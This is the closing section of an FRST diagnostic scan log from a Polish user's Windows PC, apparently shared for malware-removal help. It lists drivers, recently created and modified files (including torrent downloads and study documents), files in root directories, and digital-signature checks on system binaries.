S3 USBAAPL64; C:\Windows\System32\Drivers\usbaapl64.sys [54784 2012-12-13] (Apple, Inc.) [File not signed]
S0 WdBoot; C:\Windows\System32\drivers\WdBoot.sys [36288 2013-07-02] (Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [247216 2013-07-01] (Microsoft Corporation)
S3 XFDriver64; no ImagePath
S1 swenwvbx; \??\C:\Windows\system32\drivers\swenwvbx.sys [X]

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


==================== One Month Created files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2015-12-17 10:08 - 2015-12-17 10:08 - 00027134 _____ C:\Users\jurek\Downloads\FRST.txt
2015-12-17 10:05 - 2015-12-17 10:08 - 00000000 ____D C:\FRST
2015-12-17 10:04 - 2015-12-17 10:04 - 02370048 _____ (Farbar) C:\Users\jurek\Downloads\FRST64.exe
2015-12-17 10:04 - 2015-12-17 10:04 - 00380416 _____ C:\Users\jurek\Downloads\cqp3vrxt.exe
2015-12-17 09:42 - 2015-12-17 09:42 - 00000000 ____D C:\Users\jurek\AppData\Roaming\EurekaLog
2015-12-16 20:47 - 2015-12-16 20:47 - 00016400 _____ C:\Users\jurek\Downloads\Sinister 2  2015  [480p] [HDRip] [XVID-onjak] [Napisy PL][Torrenty.org] (1).torrent
2015-12-16 18:48 - 2015-12-16 18:48 - 00016400 _____ C:\Users\jurek\Downloads\Sinister 2  2015  [480p] [HDRip] [XVID-onjak] [Napisy PL][Torrenty.org].torrent
2015-12-16 18:48 - 2015-12-16 18:48 - 00014671 _____ C:\Users\jurek\Downloads\Sinister_ 2012 _[DVDRip XviD]_[AC3]_[ENG]_[Napisy_PL][Torrenty.org].torrent
2015-12-15 21:04 - 2015-12-15 21:04 - 00000000 ____D C:\AdwCleaner
2015-12-15 21:03 - 2015-12-15 21:03 - 00013622 _____ C:\Users\jurek\Downloads\Ant-Man_ 2015 _[PAL]_[DVD5]_[Dubbing_i_Napisy_PL][Torrenty.org] (1).torrent
2015-12-15 20:20 - 2015-12-15 20:27 - 00000000 ____D C:\Users\jurek\Documents\AirDC++
2015-12-15 20:20 - 2015-12-15 20:27 - 00000000 ____D C:\Users\jurek\AppData\Local\AirDC++
2015-12-15 20:19 - 2015-12-15 20:19 - 00000000 ____D C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AirDC++
2015-12-15 20:19 - 2015-12-15 20:19 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AirDC++
2015-12-15 20:12 - 2015-12-15 20:12 - 01740288 _____ C:\Users\jurek\Downloads\adwcleaner_5.025.exe
2015-12-15 20:10 - 2015-12-15 20:10 - 00013622 _____ C:\Users\jurek\Downloads\Ant-Man_ 2015 _[PAL]_[DVD5]_[Dubbing_i_Napisy_PL][Torrenty.org].torrent
2015-12-15 20:08 - 2015-12-15 20:16 - 00000000 ____D C:\Users\jurek\AppData\Roaming\BitComet
2015-12-15 20:08 - 2015-12-15 20:08 - 00000679 _____ C:\Users\Public\Desktop\BitComet.lnk
2015-12-15 20:08 - 2015-12-15 20:08 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\BitComet (64-bit)
2015-12-15 20:07 - 2015-12-15 20:19 - 23509056 _____ C:\Users\jurek\Downloads\AirDC_Installer_2.90.rar
2015-12-15 20:02 - 2015-12-15 20:03 - 10665336 _____ C:\Users\jurek\Downloads\BitComet_1.40_x64_setup.exe
2015-12-15 19:34 - 2015-12-15 19:34 - 00962128 _____ (Installer Soft Program ) C:\Users\jurek\Desktop\uTorrent-13270-dp.exe
2015-12-15 19:27 - 2015-12-15 19:27 - 00072496 _____ (Azureus Software, Inc.) C:\Users\jurek\Downloads\VuzeBittorrentClientInstaller.exe
2015-12-15 19:03 - 2015-12-15 19:06 - 00000000 ____D C:\Users\jurek\AppData\Roaming\BitTorrent
2015-12-13 14:03 - 2015-12-13 14:03 - 00000000 ____D C:\Users\jurek\AppData\Local\CEF
2015-12-13 13:29 - 2015-12-13 13:29 - 05238996 _____ C:\Users\jurek\Downloads\Prezentacja-socjalne-PDF (1).ppsx
2015-12-13 13:26 - 2015-12-13 13:26 - 05238996 _____ C:\Users\jurek\Downloads\Prezentacja-socjalne-PDF.ppsx
2015-12-12 20:43 - 2015-12-12 20:43 - 00000000 ____D C:\Users\jurek\Desktop\HH klasyk
2015-12-12 19:35 - 2015-12-15 19:26 - 00002441 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Acrobat Reader DC.lnk
2015-12-12 19:35 - 2015-12-12 19:35 - 00002007 _____ C:\Users\Public\Desktop\Acrobat Reader DC.lnk
2015-12-12 19:35 - 2015-12-12 19:35 - 00000000 ____D C:\Program Files (x86)\Adobe
2015-12-12 15:39 - 2015-12-12 15:39 - 00000266 __RSH C:\ProgramData\ntuser.pol
2015-12-12 12:32 - 2015-12-12 12:32 - 00296448 ____R C:\Users\jurek\Downloads\plik-Podsystem militarny  rola i zadania w systemie.pps
2015-12-12 10:03 - 2015-12-12 10:03 - 00170425 ____R C:\Users\jurek\Downloads\Ogólne-założenia-systemu-bezpieczeństwa-narodowego-RP.pptx
2015-12-12 10:03 - 2015-12-12 10:03 - 00170425 ____R C:\Users\jurek\Downloads\Ogólne-założenia-systemu-bezpieczeństwa-narodowego-RP (1).pptx
2015-12-12 10:00 - 2015-12-12 10:09 - 00066646 ____R C:\Users\jurek\Desktop\s.odp
2015-12-12 09:57 - 2015-12-12 14:55 - 00000001 _____ C:\Windows\SysWOW64\pl.html
2015-12-10 17:59 - 2015-12-12 09:53 - 00000000 ____D C:\Users\jurek\Desktop\SYLABUSY
2015-12-10 14:10 - 2015-12-10 14:10 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2015-12-10 14:06 - 2015-12-10 14:06 - 09498816 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerInstaller.exe
2015-12-04 06:57 - 2015-12-04 10:04 - 00932352 ____R C:\Users\jurek\Desktop\prezka-mordarski.ppt
2015-12-03 21:54 - 2015-12-03 21:56 - 513381988 ____R C:\Users\jurek\Downloads\open_gapps-arm-4.4-stock-20151203.zip
2015-12-03 21:52 - 2015-12-12 16:35 - 00000000 ____D C:\Users\jurek\Desktop\Facebook
2015-12-03 21:52 - 2015-12-12 16:03 - 00000000 ____D C:\Users\jurek\Desktop\Camera
2015-12-03 21:12 - 2015-12-03 21:12 - 06678019 ____R C:\Users\jurek\Downloads\rola_strazy_z_systemie_bezpieczenstwa.pdf
2015-12-03 21:00 - 2015-12-03 21:00 - 00288014 ____R C:\Users\jurek\Downloads\Schemat organizacyjny Urzędu.pdf
2015-12-03 18:10 - 2015-12-03 12:44 - 193739420 ____R C:\Users\jurek\Desktop\VID_20151203_124150.3gp
2015-12-03 18:10 - 2015-12-03 12:38 - 69271768 ____R C:\Users\jurek\Desktop\VID_20151203_123707.3gp
2015-12-03 17:32 - 2015-12-04 12:27 - 02525171 ____R C:\Users\jurek\Desktop\Struktura i zadania podmiotów wykonawczych SBiPP.pptx
2015-12-02 20:16 - 2015-12-02 20:16 - 00000000 ____D C:\Users\jurek\AppData\Local\Mega Limited
2015-12-02 20:12 - 2015-12-02 20:13 - 10144904 ____R (MEGA Limited) C:\Users\jurek\Downloads\MEGAsyncSetup.exe
2015-12-02 18:19 - 2015-12-02 18:19 - 00000000 ____D C:\Users\jurek\Documents\Pliki programu Outlook
2015-12-02 18:12 - 2015-12-12 16:03 - 00000000 ____D C:\Users\jurek\Desktop\Pulpit
2015-12-01 20:34 - 2015-12-12 16:03 - 00079872 __RSH C:\Users\jurek\Desktop\Thumbs.db
2015-12-01 20:24 - 2015-12-01 20:24 - 06805512 ____R (Piriform Ltd) C:\Users\jurek\Downloads\ccsetup512pro.exe
2015-12-01 20:06 - 2015-12-01 20:06 - 22908888 ____R (Malwarebytes ) C:\Users\jurek\Downloads\mbam-setup-2.2.0.1024.exe
2015-12-01 18:27 - 2015-12-01 18:27 - 04616266 ____R (FranmoSoftware ) C:\Users\jurek\Downloads\odk13.5.4.1971setup.exe
2015-12-01 18:26 - 2015-12-01 18:27 - 06801752 ____R (Piriform Ltd) C:\Users\jurek\Downloads\ccsetup512.exe
2015-12-01 18:26 - 2015-12-01 18:26 - 04532776 ____R (Piriform Ltd) C:\Users\jurek\Downloads\dfsetup219.exe
2015-11-29 16:07 - 2010-06-29 00:10 - 70019962 ____R C:\Users\jurek\Desktop\Atlas Treningu Siłowego - Frederic Dalavier.pdf

==================== One Month Modified files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2015-12-17 10:05 - 2012-07-26 06:37 - 00000000 ____D C:\Windows
2015-12-17 10:04 - 2015-01-15 13:56 - 00192216 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2015-12-17 10:01 - 2014-12-13 22:09 - 00002149 _____ C:\Users\Public\Desktop\Google Chrome.lnk
2015-12-17 09:40 - 2013-05-21 21:34 - 00804172 _____ C:\Windows\system32\perfh015.dat
2015-12-17 09:40 - 2013-05-21 21:34 - 00164686 _____ C:\Windows\system32\perfc015.dat
2015-12-17 09:40 - 2012-07-26 08:28 - 01820540 _____ C:\Windows\system32\PerfStringBackup.INI
2015-12-17 09:40 - 2012-07-26 06:37 - 00000000 ____D C:\Windows\Inf
2015-12-15 21:12 - 2014-12-04 11:47 - 00003598 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-1268698185-3662455055-1806142860-1001
2015-12-15 21:05 - 2012-07-26 08:22 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2015-12-15 19:22 - 2014-12-24 21:27 - 00000000 ___RD C:\Users\jurek\Documents\Scanned Documents
2015-12-15 19:09 - 2012-07-26 09:18 - 00000000 ____D C:\Windows\DigitalLocker
2015-12-15 19:09 - 2012-07-26 09:12 - 00000000 ____D C:\Windows\schemas
2015-12-15 18:53 - 2014-11-14 10:59 - 00000288 _____ C:\Windows\Tasks\Uninstaller_SkipUac_jurek.job
2015-12-13 14:03 - 2014-11-14 13:28 - 00000000 ____D C:\Users\jurek\AppData\Local\Adobe
2015-12-12 23:56 - 2015-01-04 23:06 - 00003886 _____ C:\Windows\System32\Tasks\Adobe Acrobat Update Task
2015-12-12 23:43 - 2014-05-03 13:22 - 00000000 ____D C:\Users\jurek\AppData\Roaming\7 Sticky Notes
2015-12-12 23:42 - 2013-05-21 20:22 - 00000000 ____D C:\Users\jurek
2015-12-12 20:42 - 2013-06-07 15:00 - 00000000 ____D C:\Users\jurek\AppData\Roaming\Media Player Classic
2015-12-12 19:35 - 2013-06-10 16:07 - 00000000 ____D C:\ProgramData\Adobe
2015-12-12 16:04 - 2015-10-09 19:16 - 00000000 ____D C:\Users\jurek\AppData\Roaming\Skype
2015-12-12 16:03 - 2015-10-27 12:07 - 00000000 ____D C:\Users\jurek\Desktop\Protokoly
2015-12-12 16:03 - 2015-08-29 20:39 - 00000000 ____D C:\Users\jurek\Desktop\Italia
2015-12-12 16:03 - 2015-06-01 12:16 - 00000000 ____D C:\Users\jurek\Desktop\wersja git
2015-12-12 16:03 - 2015-05-27 04:36 - 00000000 ____D C:\Users\jurek\Desktop\Nowy folder
2015-12-12 16:02 - 2015-10-09 19:16 - 00000000 ____D C:\ProgramData\Skype
2015-12-12 15:41 - 2015-10-19 13:31 - 00000350 _____ C:\Users\Public\Desktop\Zagraj w Heroes & Generals.lnk
2015-12-12 15:41 - 2015-07-29 21:56 - 00000727 _____ C:\Users\Public\Desktop\Mobile Partner.lnk
2015-12-12 15:41 - 2015-07-29 16:43 - 00000670 _____ C:\Users\Public\Desktop\IrfanView.lnk
2015-12-12 15:41 - 2015-01-15 13:56 - 00001060 _____ C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
2015-12-12 15:41 - 2014-12-04 08:29 - 00000721 _____ C:\Users\Public\Desktop\7 Sticky Notes.lnk
2015-12-12 15:41 - 2014-11-14 11:08 - 00001111 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2015-12-12 15:41 - 2014-11-14 11:08 - 00001105 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2015-12-12 15:41 - 2014-11-14 10:53 - 00001186 _____ C:\Users\Public\Desktop\IObit Uninstaller.lnk
2015-12-12 15:41 - 2014-09-16 18:36 - 00000704 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Intel(R) HD Graphics Control Panel.lnk
2015-12-12 15:41 - 2014-04-29 08:23 - 00000489 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Total War ROME II.lnk
2015-12-12 15:41 - 2013-11-05 08:37 - 00000860 _____ C:\Users\Public\Desktop\CCleaner.lnk
2015-12-12 15:41 - 2013-06-05 19:25 - 00000283 ____R C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Kosz.lnk
2015-12-12 15:41 - 2013-05-22 17:03 - 00000291 ____R C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Komputer.lnk
2015-12-12 15:41 - 2013-05-21 20:23 - 00001418 ____R C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2015-12-12 15:40 - 2015-11-08 21:02 - 00000080 ____R C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\uTorrent.lnk
2015-12-12 15:40 - 2014-11-14 10:53 - 00001216 ____R C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\Uninstall Programs.lnk
2015-12-12 15:39 - 2014-11-03 18:19 - 00000000 ____D C:\Users\jurek\AppData\Local\HTC MediaHub
2015-12-12 15:35 - 2012-07-26 08:59 - 00000000 ____D C:\Windows\CbsTemp
2015-12-12 14:43 - 2015-01-15 13:56 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-12-12 14:43 - 2015-01-15 13:56 - 00000000 ____D C:\Program Files (x86)\Malwarebytes Anti-Malware
2015-12-12 12:22 - 2015-05-11 11:26 - 00000000 ____D C:\Users\jurek\Desktop\Licencjat
2015-12-11 15:11 - 2014-11-14 11:08 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2015-12-11 08:48 - 2014-11-14 10:53 - 00000000 ____D C:\ProgramData\ProductData
2015-12-10 17:13 - 2015-10-29 20:37 - 00000000 ____D C:\Users\jurek\AppData\Local\ChomikBox
2015-12-10 16:59 - 2013-05-22 06:30 - 00000000 ____D C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\War Thunder
2015-12-10 16:58 - 2013-05-21 20:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome
2015-12-10 16:48 - 2015-10-29 20:38 - 00000000 ____D C:\Users\jurek\.gstreamer-0.10
2015-12-10 16:44 - 2015-02-23 01:53 - 00000930 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-12-10 16:44 - 2012-07-26 06:26 - 00262144 ___SH C:\Windows\system32\config\BBI
2015-12-10 14:10 - 2015-10-09 19:16 - 00000000 ___RD C:\Program Files (x86)\Skype
2015-12-10 14:10 - 2015-10-09 19:16 - 00000000 ____D C:\Users\jurek\AppData\Local\Skype
2015-12-10 14:06 - 2015-02-23 01:53 - 00003820 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2015-12-09 04:39 - 2013-05-21 20:51 - 00301728 ____N (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe
2015-12-03 20:53 - 2013-05-21 20:35 - 00004038 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2015-12-03 20:53 - 2013-05-21 20:35 - 00003802 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2015-12-03 20:53 - 2013-05-21 20:35 - 00001066 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2015-12-03 20:53 - 2013-05-21 20:35 - 00001062 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2015-12-01 20:25 - 2013-11-05 08:37 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CCleaner
2015-12-01 20:25 - 2013-11-05 08:37 - 00000000 ____D C:\Program Files\CCleaner
2015-12-01 20:23 - 2013-05-21 22:05 - 00003150 _____ C:\Windows\System32\Tasks\ASUS InstallAll ReInst
2015-11-28 08:52 - 2015-04-21 10:05 - 00000000 ____D C:\Program Files\Rockstar Games
2015-11-28 08:52 - 2014-12-24 21:21 - 00000000 ____D C:\Program Files (x86)\Rockstar Games
2015-11-26 08:00 - 2012-07-26 09:12 - 00000000 ___HD C:\Program Files\WindowsApps
2015-11-26 08:00 - 2012-07-26 09:12 - 00000000 ____D C:\Windows\AUInstallAgent

==================== Files in the root of some directories =======

2014-10-14 21:35 - 2012-07-06 03:01 - 0056376 ____R (Microsoft Corporation) C:\Users\jurek\AppData\Roaming\9GPH0NJ1TN.exe
2014-10-14 21:36 - 2014-10-22 15:06 - 0074253 ____R () C:\Users\jurek\AppData\Roaming\no
2013-12-23 17:49 - 2013-12-23 17:49 - 0004608 ____R () C:\Users\jurek\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
2014-10-23 16:17 - 2014-11-13 13:54 - 0000162 ____R () C:\Users\jurek\AppData\Local\dsvg.reg
2014-02-09 01:18 - 2014-02-09 01:18 - 0000093 ____R () C:\Users\jurek\AppData\Local\fusioncache.dat
2014-10-23 16:17 - 2014-11-14 10:26 - 0000162 ____R () C:\Users\jurek\AppData\Local\fvfnogoit.reg
2014-09-11 19:32 - 2014-09-11 19:32 - 0000017 ____R () C:\Users\jurek\AppData\Local\resmon.resmoncfg
2014-09-16 19:44 - 2014-09-16 19:44 - 0000000 ____H () C:\ProgramData\DP45977C.lfl

==================== Bamital & volsnap =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\dnsapi.dll => File is digitally signed
C:\Windows\SysWOW64\dnsapi.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed


LastRegBack: 2015-12-10 16:56

==================== End of FRST.txt ============================